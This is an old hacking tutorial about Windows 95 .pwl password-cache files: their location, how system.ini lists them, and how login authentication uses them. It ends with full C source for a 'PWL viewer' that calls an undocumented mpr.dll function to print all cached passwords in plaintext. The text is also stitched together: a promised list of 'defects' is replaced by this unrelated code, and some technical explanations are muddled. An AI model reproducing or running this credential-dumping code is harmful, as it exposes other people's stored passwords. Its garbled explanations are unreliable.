Windows Password
____________________________________________________________________
All, Windows, users would
probably be familiar with the infamous pwl files or the files where the
Windows login passwords are stored. Well, this manual is aimed at, simplifying
how the authentication works when you type in your User name And password, what
exactly .pwl files contain, where exactly they come into the picture and a whole
lot of related things.
The
*.pwl files are basically files in which the Windows Login Passwords are stored
in. These files can be found in the \Windows directory by the name of the User,
whose password it contains. For Example, if your Windows login Username is
ankit, then the corresponding password would be stored in c:\windows\ankit.pwl
Get it? These .pwl files are readable in any text editor like Notepad, but they
are definitely not understandable.
A typical example, of the contents of a .pwl file is as
follows:
у...-
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ
џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџR
p u.аX+|rаq"Б/2Г ЪхЁhCJD з
`ЭYЅ!эx}(qWЄуЦБ<!?рм6сєц4+\3/4ѕ+%EАЫд§mЧд оIЛ B
рзја...'@
This is definitely not
something; a normal person can comprehend or make sense of.
Now, besides the Windows
registry, Microsofts policy of security by obscurity can also be seen in the
case of what .pwl files. Although the original usage of .pwl files was a
standard to be used, by all applications, Microsoft simply does not officially
provide any type of information on the standards of .pwl files.
To
get a list of .pwl files in your system or in other words to find out which all
passwords using the .pwl technology (What a good friend of mine likes to call
them) are being stored on a particular system, then simply open
c:\windows\system.ini in a plaintext editor like Notepad and look under the
[Password Lists] section. A typical line from this section would be in the
following format: USERNAME=Path_of_pwl_file
For
Example,
[Password
Lists]
ankit=c:\windows\ankit.pwl
This tells us that the .pwl
containing the password for the Username ankit is stored at:
c:\windows\ankit.pwl
Anyway, the algorithm which
is used in the case of storing information in the .pwl files (rather in the .pwl
security option), refers to such files as databases, with each record consisting
of three fields-:
Resource name
Resource password
Resource type
(0..255)
Before, I move onto giving
details about the above three fields, let us discuss, how exactly the User
Authentication process takes place in Windows (In the case of the login
password.)
NOTE: The below process is
what happens in the case of the Windows login password.
When you first set a new
account on Windows, it derives an encryption key from the specified password and
creates c:\windows\username.pwl file, where username is the, well, quite
obvious. One, thing to note here is that the .pwl file does not, I repeat does
not store the login password, nor does it store the Username.(Although its name
is same as the Username for whose authentication it is used.) What it stores,
will become clearer once you read the below paragraph.
Now, the next time, you boot
your system and type in your Username and password, then Windows,
decrypts the .pwl
corresponding to the Username provided, using the decrypting key obtained from
the password provided. Once, the .pwl file has been decrypted using the
decryption key obtained from the provided password, Windows, verifies the
checksum. If the checksum is correct or matches, then the user is authenticated
else, try again. In the process of checksum verification, the username provided
plays an important role.
Both the Username and
Checksum are encrypted using a simple algorithm: RC4.
*****************************
HACKING
TRUTH:
Although, almost always, the name of the .pwl file is same as the Username,
sometimes the name does differ. For Example, if, I use 2 to 3 different
applications using .pwl security and then use the same username i.e. ankit in
all of them to store passwords, then the naming of the .pwl files would be as
follows:
The
first .pwl would be named: ankit.pwl, the second would be named: ankit000.pwl ,
the third would be: ankit001.pwl and so on.
And,
I am not too sure, but from what I gather, Windows never ever overwrites a .pwl
file.
******************************
Coming, back to the fields.
Both the resource name and resource password fields can be binary or simply
encrypted and they are interchangeable by the application involved. The Resource
Type field can have different numerical values depending upon the software
involved. For Example, DUN, Dial Up Server and Windows Login, uses 6 as the
value for the Resource Type field. While, Internet Explorer uses 19 as the value
of the same field.
One thing to note about Windows Login password algorithms
is that, the first time it was introduced, the algorithm was very very weak and
allowed passwords to be easily decrypted. However, with each new release, the
algorithms used have been improving. However, it still has not reached a
reliable level.
In
the algorithms used by various Operating Systems to encrypt their login
passwords, the algorithm used by Windows is the worst. Some common defects
are-:
/*
(c) 1997, 98 Vitas Ramanchauskas
Use Visual
C++ to compile this into win32 console app.
This code provided for
educational purpose only.
!! NO WARRANTY, NO SUPPORT !!
*/
#include
<windows.h>
#include <stdio.h>
typedef struct
tagPASSWORD_CACHE_ENTRY {
WORD cbEntry; // size of this entry, in
bytes
WORD cbResource; // size of resource name, in bytes
WORD cbPassword;
// size of password, in bytes
BYTE iEntry; // entry index
BYTE nType; //
type of entry
BYTE abResource[1]; // start of resource name
// password
immediately follows resource name
} PASSWORD_CACHE_ENTRY;
char *buf,
*ob1;
int cnt = 0;
BOOL CALLBACK pce(PASSWORD_CACHE_ENTRY *x,
DWORD)
{
cnt++;
memmove(buf, x->abResource,
x->cbResource);
buf[x->cbResource] = 0;
CharToOem(buf,
ob1); // for non-English users
printf("%-30s : ",
ob1);
memmove(buf, x->abResource+x->cbResource,
x->cbPassword);
buf[x->cbPassword] = 0;
CharToOem(buf,
ob1);
printf("%s\n", ob1);
return TRUE;
}
void
main()
{
buf = new char[1024];
ob1 = new char[1024];
puts("There is
no security in this crazy world!\n"
"Win95 PWL viewer v1.01 (c) 1997, 98
Vitas Ramanchauskas\n"
"************\n"
"!DISCLAIMER!\n"
"!This program
intended to be used for legal purpose only!\n"
"************\n\n"
"This
program shows cached passwords using standard (but undocumented)\n"
"Windows
API on local machine for current user (user must be logged in).\n"
"You may
invoke pwlview in this way: pwlview >> textfile.txt\n"
"to save
passwords in file (don't forget to press enter twice)\n"
"Press Enter to
begin...\n");
getchar();
HINSTANCE hi =
LoadLibrary("mpr.dll");
if(!hi)
{
puts("Couldn't load mpr.dll. This
program is for Windows 95 only");
return;
}
WORD (__stdcall
*enp)(LPSTR, WORD, BYTE, void*, DWORD) =
(WORD (__stdcall *)(LPSTR, WORD,
BYTE, void*, DWORD))GetProcAddress(hi,
"WNetEnumCachedPasswords");
if(!enp)
{
puts("Couldn't import function.
This program is for Windows 95 only");
return;
}
(*enp)(0,0, 0xff, pce,
0);
if(!cnt)
puts("No passwords found.\n"
"Probably password caching
was not used or user is not logged in.");
FreeLibrary(hi);
puts("\nPress
Enter to quit");
getchar();
}